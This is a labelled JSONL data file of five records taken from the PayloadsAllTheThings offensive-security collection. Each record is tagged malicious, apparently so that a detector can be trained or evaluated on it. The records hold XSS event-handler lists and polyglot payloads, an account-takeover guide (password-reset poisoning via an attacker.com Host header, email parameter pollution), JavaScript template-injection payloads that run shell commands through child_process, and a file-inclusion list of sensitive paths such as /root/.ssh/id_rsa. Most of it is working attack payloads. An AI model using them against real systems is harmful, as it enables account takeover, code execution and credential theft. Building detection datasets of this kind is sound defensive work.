{"id": "payloads_00165", "source": "payloads_all_the_things", "source_license": "MIT", "text": "FSCommand\nonAbort\nonActivate\nonAfterPrint\nonAfterUpdate\nonBeforeActivate\nonBeforeCopy\nonBeforeCut\nonBeforeDeactivate\nonBeforeEditFocus\nonBeforePaste\nonBeforePrint\nonBeforeUnload\nonBeforeUpdate\nonBegin\nonBlur\nonBounce\nonCellChange\nonChange\nonClick\nonContextMenu\nonControlSelect\nonCopy\nonCut\nonDataAvailable\nonDataSetChanged\nonDataSetComplete\nonDblClick\nonDeactivate\nonDrag\nonDragDrop\nonDragEnd\nonDragEnter\nonDragLeave\nonDragOver\nonDragStart\nonDrop\nonEnd\nonError\nonErrorUpdate\nonFilterChange\nonFinish\nonFocus\nonFocusIn\nonFocusOut\nonHashChange\nonHelp\nonInput\nonKeyDown\nonKeyPress\nonKeyUp\nonLayoutComplete\nonLoad\nonLoseCapture\nonMediaComplete\nonMediaError\nonMessage\nonMouseDown\nonMouseEnter\nonMouseLeave\nonMouseMove\nonMouseOut\nonMouseOver\nonMouseUp\nonMouseWheel\nonMove\nonMoveEnd\nonMoveStart\nonOffline\nonOnline\nonOutOfSync\nonPaste\nonPause\nonPopState\nonProgress\nonPropertyChange\nonReadyStateChange\nonRedo\nonRepeat\nonReset\nonResize\nonResizeEnd\nonResizeStart\nonResume\nonReverse\nonRowDelete\nonRowExit\nonRowInserted\nonRowsEnter\nonScroll\nonSeek\nonSelect\nonSelectStart\nonSelectionChange\nonStart\nonStop\nonStorage\nonSubmit\nonSyncRestored\nonTimeError\nonTrackChange\nonURLFlip\nonUndo\nonUnload\nseekSegmentTime\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/0xcela_event_handlers.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00166", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Account Takeover\n\n> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.\n\n## Summary\n\n* [Password Reset Feature](#password-reset-feature)\n    * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)\n    * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)\n    * [Password Reset via Email Parameter](#password-reset-via-email-parameter)\n    * [IDOR on API Parameters](#idor-on-api-parameters)\n    * [Weak Password Reset Token](#weak-password-reset-token)\n    * [Leaking Password Reset Token](#leaking-password-reset-token)\n    * [Password Reset via Username Collision](#password-reset-via-username-collision)\n    * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)\n* [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities)\n    * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)\n    * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)\n    * [Account Takeover via CSRF](#account-takeover-via-csrf)\n* [References](#references)\n\n## Password Reset Feature\n\n### Password Reset Token Leak via Referrer\n\n1. Request password reset to your email address\n2. Click on the password reset link\n3. Don't change password\n4. Click any 3rd party websites(e.g., Facebook, twitter)\n5. Intercept the request in Burp Suite proxy\n6. Check if the referer header is leaking password reset token.\n\n### Account Takeover Through Password Reset Poisoning\n\n1. Intercept the password reset request in Burp Suite\n2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`\n3. Forward the request with the modified header\n\n    ```http\n    POST https://example.com/reset.php HTTP/1.1\n    Accept: */*\n    Content-Type: application/json\n    Host: attacker.com\n    ```\n\n4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`\n\n### Password Reset via Email Parameter\n\n```powershell\n# parameter pollution\nemail=victim@mail.com&email=hacker@mail.com\n\n# array of emails\n{\"email\":[\"victim@mail.com\",\"hacker@mail.com\"]}\n\n# carbon copy\nemail=victim@mail.com%0A%0Dcc:hacker@mail.com\nemail=victim@mail.com%0A%0Dbcc:hacker@mail.com\n\n# separator\nemail=victim@mail.com,hacker@mail.com\nemail=victim@mail.com%20hacker@mail.com\nemail=victim@mail.com|hacker@mail.com\n```\n\n### IDOR on API Parameters\n\n1. Attacker have to login with their account and go to the **Change password** feature.\n2. Start the Burp Suite and Intercept the request\n3. Send it to the repeater tab and edit the parameters : User ID/email\n\n    ```powershell\n    POST /api/changepass\n    [...]\n    (\"form\": {\"email\":\"victim@email.com\",\"password\":\"securepwd\"})\n    ```\n\n### Weak Password Reset Token\n\nThe password reset token should be randomly generated and unique every time.\nTry to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.\n\n* Timestamp\n* UserID\n* Email of User\n* Firstname and Lastname\n* Date of Birth\n* Cryptography\n* Number only\n* Small token sequence (<6 characters between [A-Z,a-z,0-9])\n* Token reuse\n* Token expiration date\n\n### Leaking Password Reset Token\n\n1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>\n2. Inspect the server response and check for `resetToken`\n3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`\n\n### Password Reset via Username Collision\n\n1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `\"admin \"`\n2. Request a password r", "findings": [{"category": "malicious", "subcategory": "malicious.phishing", "severity": "critical", "explanation": "Account takeover payload from Account Takeover/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00167", "source": "payloads_all_the_things", "source_license": "MIT", "text": "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e\n';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\n\u201c onclick=alert(1)//<button \u2018 onclick=alert(1)//> */ alert(1)//\n'\">><marquee><img src=x onerror=confirm(1)></marquee>\"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->\"></script><script>alert(1)</script>\"><img/id=\"confirm&lpar;1)\"/alt=\"/\"src=\"/\"onerror=eval(id&%23x29;>'\"><img src=\"http://i.imgur.com/P8mL8.jpg\">\njavascript://'/</title></style></textarea></script>--><p\" onclick=alert()//>*/alert()/*\njavascript://--></script></title></style>\"/</textarea>*/<alert()/*' onclick=alert()//>a\njavascript://</title>\"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/\njavascript://</title></style></textarea>--></script><a\"//' onclick=alert()//>*/alert()/*\njavascript://'//\" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*\njavascript://</title></textarea></style></script --><li '//\" '*/alert()/*', onclick=alert()//\njavascript:alert()//--></script></textarea></style></title><a\"//' onclick=alert()//>*/alert()/*\n--></script></title></style>\"/</textarea><a' onclick=alert()//>*/alert()/*\n/</title/'/</style/</script/</textarea/--><p\" onclick=alert()//>*/alert()/*\njavascript://--></title></style></textarea></script><svg \"//' onclick=alert()//\n/</title/'/</style/</script/--><p\" onclick=alert()//>*/alert()/*\nJavaScript://%250Aalert?.(1)//'/*\\'/*\"/*\\\"/*`/*\\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\\76-->\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/XSS_Polyglots.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00168", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Template Injection - JavaScript\n\n> Server-Side Template Injection (SSTI)  occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.\n\n## Summary\n\n- [Templating Libraries](#templating-libraries)\n- [Universal Payloads](#universal-payloads)\n- [Handlebars](#handlebars)\n    - [Handlebars - Basic Injection](#handlebars---basic-injection)\n    - [Handlebars - Command Execution](#handlebars---command-execution)\n- [Lodash](#lodash)\n    - [Lodash - Basic Injection](#lodash---basic-injection)\n    - [Lodash - Command Execution](#lodash---command-execution)\n- [Pug](#pug)\n- [References](#references)\n\n## Templating Libraries\n\n| Template Name | Payload Format   |\n|---------------|------------------|\n| DotJS         | `{{= }}`         |\n| DustJS        | `{ }`            |\n| EJS           | `<% %>`          |\n| HandlebarsJS  | `{{ }}`          |\n| HoganJS       | `{{ }}`          |\n| Lodash        | `{{= }}`         |\n| MustacheJS    | `{{ }}`          |\n| NunjucksJS    | `{{ }}`          |\n| PugJS         | `#{ }`           |\n| TwigJS        | `{{ }}`          |\n| UnderscoreJS  | `<% %>`          |\n| VelocityJS    | `#=set($X=\"\")$X` |\n| VueJS         | `{{ }}`          |\n\n## Universal Payloads\n\nGeneric code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta.\n\nTo use these payloads, wrap them in the appropriate tag.\n\n```javascript\n// Rendered RCE\nglobal.process.mainModule.require(\"child_process\").execSync(\"id\").toString()\n\n// Error-Based RCE\nglobal.process.mainModule.require(\"Y:/A:/\"+global.process.mainModule.require(\"child_process\").execSync(\"id\").toString())\n\"\"[\"x\"][global.process.mainModule.require(\"child_process\").execSync(\"id\").toString()]\n\n// Boolean-Based RCE\n[\"\"][0 + !(global.process.mainModule.require(\"child_process\").spawnSync(\"id\", options={shell:true}).status===0)][\"length\"]\n\n// Time-Based RCE\nglobal.process.mainModule.require(\"child_process\").execSync(\"id && sleep 5\").toString()\n```\n\nNunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`.\n\n## Handlebars\n\n[Official website](https://handlebarsjs.com/)\n> Handlebars compiles templates into JavaScript functions.\n\n### Handlebars - Basic Injection\n\n```js\n{{this}}\n{{self}}\n```\n\n### Handlebars - Command Execution\n\nThis payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6):\n\n- `>= 4.1.0`, `< 4.1.2`\n- `>= 4.0.0`, `< 4.0.14`\n- `< 3.0.7`\n\n```handlebars\n{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.pop}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push \"return require('child_process').execSync('ls -la');\"}}\n        {{this.pop}}\n        {{#each conslist}}\n          {{#with (string.sub.apply 0 codelist)}}\n            {{this}}\n          {{/with}}\n        {{/each}}\n      {{/with}}\n    {{/with}}\n  {{/with}}\n{{/with}}\n```\n\n---\n\n## Lodash\n\n[Official website](https://lodash.com/docs/4.17.15)\n> A modern JavaScript utility library delivering modularity, performance & extras.\n\n### Lodash - Basic Injection\n\nHow to create a template:\n\n```javascript\nconst _ = require('lodash');\nstring = \"{{= username}}\"\nconst options = {\n  evaluate: /\\{\\{(.+?)\\}\\}/g,\n  interpolate: /\\{\\{=(.+?)\\}\\}/g,\n  escape: /\\{\\{-(.+?)\\}\\}/g,\n};\n\n_.template(string, options);\n```\n\n- **string:** The template string.\n- **options.interpolate:** It is a regular expression that specifies the HTML *interpolate* delimiter.\n- **options.evaluate:** It is a regular expression that specifies the HTML *evaluate* delimiter.\n- **options.escape:** It", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side template injection payload from Server Side Template Injection/JavaScript.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00169", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/etc/passwd\n/etc/group\n/etc/hosts\n/etc/motd\n/etc/issue\n/etc/bashrc\n/etc/apache2/apache2.conf\n/etc/apache2/ports.conf\n/etc/apache2/sites-available/default\n/etc/httpd/conf/httpd.conf\n/etc/httpd/conf.d\n/etc/httpd/logs/access.log\n/etc/httpd/logs/access_log\n/etc/httpd/logs/error.log\n/etc/httpd/logs/error_log\n/etc/init.d/apache2\n/etc/mysql/my.cnf\n/etc/nginx.conf\n/opt/lampp/logs/access_log\n/opt/lampp/logs/error_log\n/opt/lamp/log/access_log\n/opt/lamp/logs/error_log\n/proc/self/environ\n/proc/version\n/proc/cmdline\n/proc/mounts\n/proc/config.gz\n/root/.bashrc\n/root/.bash_history\n/root/.ssh/authorized_keys\n/root/.ssh/id_rsa\n/root/.ssh/id_rsa.keystore\n/root/.ssh/id_rsa.pub\n/root/.ssh/known_hosts\n/usr/local/apache/htdocs/index.html\n/usr/local/apache/conf/httpd.conf\n/usr/local/apache/conf/extra/httpd-ssl.conf\n/usr/local/apache/logs/error_log\n/usr/local/apache/logs/access_log\n/usr/local/apache/bin/apachectl\n/usr/local/apache2/htdocs/index.html\n/usr/local/apache2/conf/httpd.conf\n/usr/local/apache2/conf/extra/httpd-ssl.conf\n/usr/local/apache2/logs/error_log\n/usr/local/apache2/logs/access_log\n/usr/local/apache2/bin/apachectl\n/usr/local/etc/nginx/nginx.conf\n/usr/local/nginx/conf/nginx.conf\n/var/apache/logs/access_log\n/var/apache/logs/access.log\n/var/apache/logs/error_log\n/var/apache/logs/error.log\n/var/log/apache/access.log\n/var/log/apache/access_log\n/var/log/apache/error.log\n/var/log/apache/error_log\n/var/log/httpd/error_log\n/var/log/httpd/access_log\n/var/log/nginx/access_log\n/var/log/nginx/access.log\n/var/log/nginx/error_log\n/var/log/nginx/error.log", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/Linux-files.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}